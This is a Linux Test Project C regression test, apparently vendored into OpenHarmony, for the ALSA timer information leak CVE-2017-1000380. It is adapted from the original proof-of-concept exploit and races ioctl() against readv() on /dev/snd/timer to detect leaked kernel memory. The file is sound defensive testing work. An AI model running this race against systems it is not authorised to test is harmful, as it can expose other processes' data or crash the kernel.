1f08c3bdfSopenharmony_ci// SPDX-License-Identifier: GPL-2.0-or-later 2f08c3bdfSopenharmony_ci 3f08c3bdfSopenharmony_ci/* Copyright (c) 2019 Michael Moese <mmoese@suse.com> 4f08c3bdfSopenharmony_ci * Regression test for CVE-2017-1000380 based on the original PoC exploit 5f08c3bdfSopenharmony_ci * by Alexander Potapenko <glider@google.com> 6f08c3bdfSopenharmony_ci * 7f08c3bdfSopenharmony_ci * Be careful! This test may crash your kernel! 8f08c3bdfSopenharmony_ci * 9f08c3bdfSopenharmony_ci * The test performs several ioctl() parallel with readv() on the same 10f08c3bdfSopenharmony_ci * file descriptor to /dev/snd/timer. A buggy kernel will leak memory 11f08c3bdfSopenharmony_ci * to the process, which may contain information from the kernel or 12f08c3bdfSopenharmony_ci * any other process on the system. 13f08c3bdfSopenharmony_ci * 14f08c3bdfSopenharmony_ci * The issue was fixed with 15f08c3bdfSopenharmony_ci * http://git.kernel.org/linus/d11662f4f798b50d8c8743f433842c3e40fe3378 16f08c3bdfSopenharmony_ci * http://git.kernel.org/linus/ba3021b2c79b2fa9114f92790a99deb27a65b728 17f08c3bdfSopenharmony_ci */ 18f08c3bdfSopenharmony_ci 19f08c3bdfSopenharmony_ci#include "config.h" 20f08c3bdfSopenharmony_ci#include "tst_test.h" 21f08c3bdfSopenharmony_ci#include "tst_fuzzy_sync.h" 22f08c3bdfSopenharmony_ci#include "tst_safe_macros.h" 23f08c3bdfSopenharmony_ci#include "tst_safe_pthread.h" 24f08c3bdfSopenharmony_ci 25f08c3bdfSopenharmony_ci#include <errno.h> 26f08c3bdfSopenharmony_ci#include <fcntl.h> 27f08c3bdfSopenharmony_ci#include <pthread.h> 28f08c3bdfSopenharmony_ci#include <stdio.h> 29f08c3bdfSopenharmony_ci#include <string.h> 30f08c3bdfSopenharmony_ci#include <sys/uio.h> 31f08c3bdfSopenharmony_ci#include <sys/ioctl.h> 32f08c3bdfSopenharmony_ci#include <sound/asound.h> 33f08c3bdfSopenharmony_ci 34f08c3bdfSopenharmony_ci#define MAX_BUFSIZE 1024 35f08c3bdfSopenharmony_ci 36f08c3bdfSopenharmony_cistatic int snd_fd; 37f08c3bdfSopenharmony_cistatic struct tst_fzsync_pair fzsync_pair; 38f08c3bdfSopenharmony_ci 39f08c3bdfSopenharmony_cistatic void *ioctl_thread(void *unused) 40f08c3bdfSopenharmony_ci{ 41f08c3bdfSopenharmony_ci int tread_arg = 1; 42f08c3bdfSopenharmony_ci struct snd_timer_select ts; 43f08c3bdfSopenharmony_ci struct snd_timer_params tp; 44f08c3bdfSopenharmony_ci 45f08c3bdfSopenharmony_ci memset(&ts, 0, sizeof(ts)); 46f08c3bdfSopenharmony_ci ts.id.dev_class = 1; 47f08c3bdfSopenharmony_ci 48f08c3bdfSopenharmony_ci memset(&tp, 0, sizeof(tp)); 49f08c3bdfSopenharmony_ci tp.ticks = 1; 50f08c3bdfSopenharmony_ci tp.filter = 0xf; 51f08c3bdfSopenharmony_ci 52f08c3bdfSopenharmony_ci while (tst_fzsync_run_b(&fzsync_pair)) { 53f08c3bdfSopenharmony_ci tst_fzsync_start_race_b(&fzsync_pair); 54f08c3bdfSopenharmony_ci ioctl(snd_fd, SNDRV_TIMER_IOCTL_TREAD, &tread_arg); 55f08c3bdfSopenharmony_ci ioctl(snd_fd, SNDRV_TIMER_IOCTL_SELECT, &ts); 56f08c3bdfSopenharmony_ci ioctl(snd_fd, SNDRV_TIMER_IOCTL_PARAMS, &tp); 57f08c3bdfSopenharmony_ci ioctl(snd_fd, SNDRV_TIMER_IOCTL_START, 0); 58f08c3bdfSopenharmony_ci tst_fzsync_end_race_b(&fzsync_pair); 59f08c3bdfSopenharmony_ci } 60f08c3bdfSopenharmony_ci return unused; 61f08c3bdfSopenharmony_ci} 62f08c3bdfSopenharmony_ci 63f08c3bdfSopenharmony_cistatic void setup(void) 64f08c3bdfSopenharmony_ci{ 65f08c3bdfSopenharmony_ci if(access("/dev/snd/timer", F_OK)) 66f08c3bdfSopenharmony_ci tst_brk(TCONF, "The file '/dev/snd/timer' is not exist"); 67f08c3bdfSopenharmony_ci 68f08c3bdfSopenharmony_ci tst_fzsync_pair_init(&fzsync_pair); 69f08c3bdfSopenharmony_ci snd_fd = SAFE_OPEN("/dev/snd/timer", 70f08c3bdfSopenharmony_ci O_RDONLY|O_CREAT|O_NOCTTY|O_SYNC|O_LARGEFILE, 0); 71f08c3bdfSopenharmony_ci} 72f08c3bdfSopenharmony_ci 73f08c3bdfSopenharmony_cistatic void cleanup(void) 74f08c3bdfSopenharmony_ci{ 75f08c3bdfSopenharmony_ci if (snd_fd > 0) 76f08c3bdfSopenharmony_ci SAFE_CLOSE(snd_fd); 77f08c3bdfSopenharmony_ci} 78f08c3bdfSopenharmony_ci 79f08c3bdfSopenharmony_cistatic void run(void) 80f08c3bdfSopenharmony_ci{ 81f08c3bdfSopenharmony_ci size_t len; 82f08c3bdfSopenharmony_ci int size; 83f08c3bdfSopenharmony_ci struct iovec iov; 84f08c3bdfSopenharmony_ci pthread_t th; 85f08c3bdfSopenharmony_ci char read_buf[MAX_BUFSIZE]; 86f08c3bdfSopenharmony_ci int i, nz; 87f08c3bdfSopenharmony_ci pthread_attr_t thread_attr; 88f08c3bdfSopenharmony_ci 89f08c3bdfSopenharmony_ci pthread_attr_init(&thread_attr); 90f08c3bdfSopenharmony_ci pthread_attr_setdetachstate(&thread_attr, PTHREAD_CREATE_DETACHED); 91f08c3bdfSopenharmony_ci SAFE_PTHREAD_CREATE(&th, &thread_attr, ioctl_thread, NULL); 92f08c3bdfSopenharmony_ci 93f08c3bdfSopenharmony_ci iov.iov_base = read_buf; 94f08c3bdfSopenharmony_ci iov.iov_len = sizeof(read_buf) - 1; 95f08c3bdfSopenharmony_ci 96f08c3bdfSopenharmony_ci tst_fzsync_pair_reset(&fzsync_pair, NULL); 97f08c3bdfSopenharmony_ci while (tst_fzsync_run_a(&fzsync_pair)) { 98f08c3bdfSopenharmony_ci nz = 0; 99f08c3bdfSopenharmony_ci memset(read_buf, 0, sizeof(read_buf)); 100f08c3bdfSopenharmony_ci 101f08c3bdfSopenharmony_ci tst_fzsync_start_race_a(&fzsync_pair); 102f08c3bdfSopenharmony_ci size = readv(snd_fd, &iov, 1); 103f08c3bdfSopenharmony_ci tst_fzsync_end_race_a(&fzsync_pair); 104f08c3bdfSopenharmony_ci 105f08c3bdfSopenharmony_ci /* check if it could be a valid ioctl result */ 106f08c3bdfSopenharmony_ci if (size == 0) 107f08c3bdfSopenharmony_ci continue; 108f08c3bdfSopenharmony_ci 109f08c3bdfSopenharmony_ci /* check if the buffer is non-empty */ 110f08c3bdfSopenharmony_ci for (i = 0; i < size; i++) { 111f08c3bdfSopenharmony_ci if (read_buf[i]) { 112f08c3bdfSopenharmony_ci nz = 1; 113f08c3bdfSopenharmony_ci break; 114f08c3bdfSopenharmony_ci } 115f08c3bdfSopenharmony_ci } 116f08c3bdfSopenharmony_ci if (!nz) 117f08c3bdfSopenharmony_ci continue; 118f08c3bdfSopenharmony_ci 119f08c3bdfSopenharmony_ci len = strlen(read_buf); 120f08c3bdfSopenharmony_ci /* the kernel's struct snd_timer_read is two unsigned integers*/ 121f08c3bdfSopenharmony_ci if (len <= 2 * sizeof(unsigned int)) 122f08c3bdfSopenharmony_ci continue; 123f08c3bdfSopenharmony_ci 124f08c3bdfSopenharmony_ci tst_res(TFAIL, "kernel seems vulnerable"); 125f08c3bdfSopenharmony_ci return; 126f08c3bdfSopenharmony_ci } 127f08c3bdfSopenharmony_ci 128f08c3bdfSopenharmony_ci if (tst_taint_check() != 0) 129f08c3bdfSopenharmony_ci tst_res(TFAIL, "kernel seems vulnerable"); 130f08c3bdfSopenharmony_ci else 131f08c3bdfSopenharmony_ci tst_res(TPASS, "kernel seems not vulnerable"); 132f08c3bdfSopenharmony_ci} 133f08c3bdfSopenharmony_ci 134f08c3bdfSopenharmony_cistatic struct tst_test test = { 135f08c3bdfSopenharmony_ci .test_all = run, 136f08c3bdfSopenharmony_ci .setup = setup, 137f08c3bdfSopenharmony_ci .cleanup = cleanup, 138f08c3bdfSopenharmony_ci .taint_check = TST_TAINT_W | TST_TAINT_D, 139f08c3bdfSopenharmony_ci .max_runtime = 150, 140f08c3bdfSopenharmony_ci .tags = (const struct tst_tag[]) { 141f08c3bdfSopenharmony_ci {"linux-git", "d11662f4f798"}, 142f08c3bdfSopenharmony_ci {"linux-git", "ba3021b2c79b"}, 143f08c3bdfSopenharmony_ci {"CVE", "2017-1000380"}, 144f08c3bdfSopenharmony_ci {} 145f08c3bdfSopenharmony_ci } 146f08c3bdfSopenharmony_ci}; 147